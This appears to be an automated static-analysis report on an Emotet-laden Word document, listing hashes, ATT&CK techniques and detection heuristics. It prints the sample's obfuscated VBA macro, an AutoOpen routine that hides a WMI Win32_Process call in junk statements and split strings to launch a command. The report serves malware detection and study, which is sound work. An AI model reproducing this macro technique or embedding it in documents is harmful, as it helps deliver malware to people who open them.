Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 cdb61abf46d30c28…

MALICIOUS

Office (OLE)

109.8 KB Created: 2019-05-23 12:58:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 41a9204beb01ee61ba1eed6999d379fe SHA-1: 7bf274528042ddd07b183ae0765a6c7d92d46516 SHA-256: cdb61abf46d30c286d577ef56cf2c17df12f05ff230a89ce301c586d25ba4bfa
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains a VBA macro with an autoopen subroutine that utilizes GetObject to launch a WMI process. This is a common technique used by Emotet to download and execute a secondary payload. The ClamAV detection also explicitly identifies the file as Emotet.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6978977-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6978977-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2711 bytes
SHA-256: ba7f4253e8da638e4e5b4a7fb1c9eebb181b862983faa107331186241f8bd21d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PVrqai"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "kpwqO6, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "jfj6tci, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "aTLQuN7, 2, 2, MSForms, ComboBox"
Sub autoopen()
   Debug.Print (31 _
) + (860)
 Debug.Print jJ76KP6 _
+ (687)
 Debug.Print (HjVCjn) + (91)
 Debug.Print _
(801) + X0BDrjJ
MTGMSu
   Debug.Print (413 _
) + (894)
 Debug.Print PwJczi _
+ (140)
 Debug.Print (t_zzi4MI) + (870)
 Debug.Print _
(168) + Ab3jVd
End Sub


Attribute VB_Name = "tOLblvt"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "ZHnuN5b"

Attribute VB_Name = "mOj8uTF"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "bWPD1i"
Function MTGMSu()
If 680348 = 680348 Then
   Debug.Print (766 _
) + (638)
 Debug.Print LcbCAnc2 _
+ (743)
 Debug.Print (jlckf_) + (875)
 Debug.Print _
(191) + iPhMlbkN
Set CRu3b8 = GetObject("wi" _
+ "n" + "mg" + _
"mts:w" + "in32" + "_proc" _
+ "ess" + "sta" _
+ "rtup")
End If
   Debug.Print (875 _
) + (878)
 Debug.Print pYjXlwB3 _
+ (432)
 Debug.Print (PFszAv) + (383)
 Debug.Print _
(706) + B_B9KZ
With CRu3b8
   Debug.Print (481 _
) + (684)
 Debug.Print T9NBzRV _
+ (73)
 Debug.Print (HKzYwoAw) + (113)
 Debug.Print _
(644) + cYGHYb
. _
ShowWindow = VBCMJvXT - Jz6jY1nS - jj5cQa17
   Debug.Print (390 _
) + (129)
 Debug.Print Bm4ALP6 _
+ (953)
 Debug.Print (PApXh_dO) + (305)
 Debug.Print _
(512) + zhH_997N
End With
If 680348 = 680348 Then
   Debug.Print (14 _
) + (859)
 Debug.Print snVr6wz _
+ (943)
 Debug.Print (F5GM_hz) + (723)
 Debug.Print _
(459) + wzzG7QG
GetObject("wi" _
+ "n" + "mg" _
+ "mts:w" + "in32" + "_proc" _
+ "ess") _
.Create# PVrqai.jfj6tci + PVrqai.aTLQuN7 + PVrqai.kpwqO6, CW3MY5r, CRu3b8, w459_M
   Debug.Print (921 _
) + (657)
 Debug.Print QRMv9Nl _
+ (814)
 Debug.Print (iTvhwA9b) + (653)
 Debug.Print _
(551) + P_U6CG
End If
End Function


Attribute VB_Name = "NqO3VBZq"

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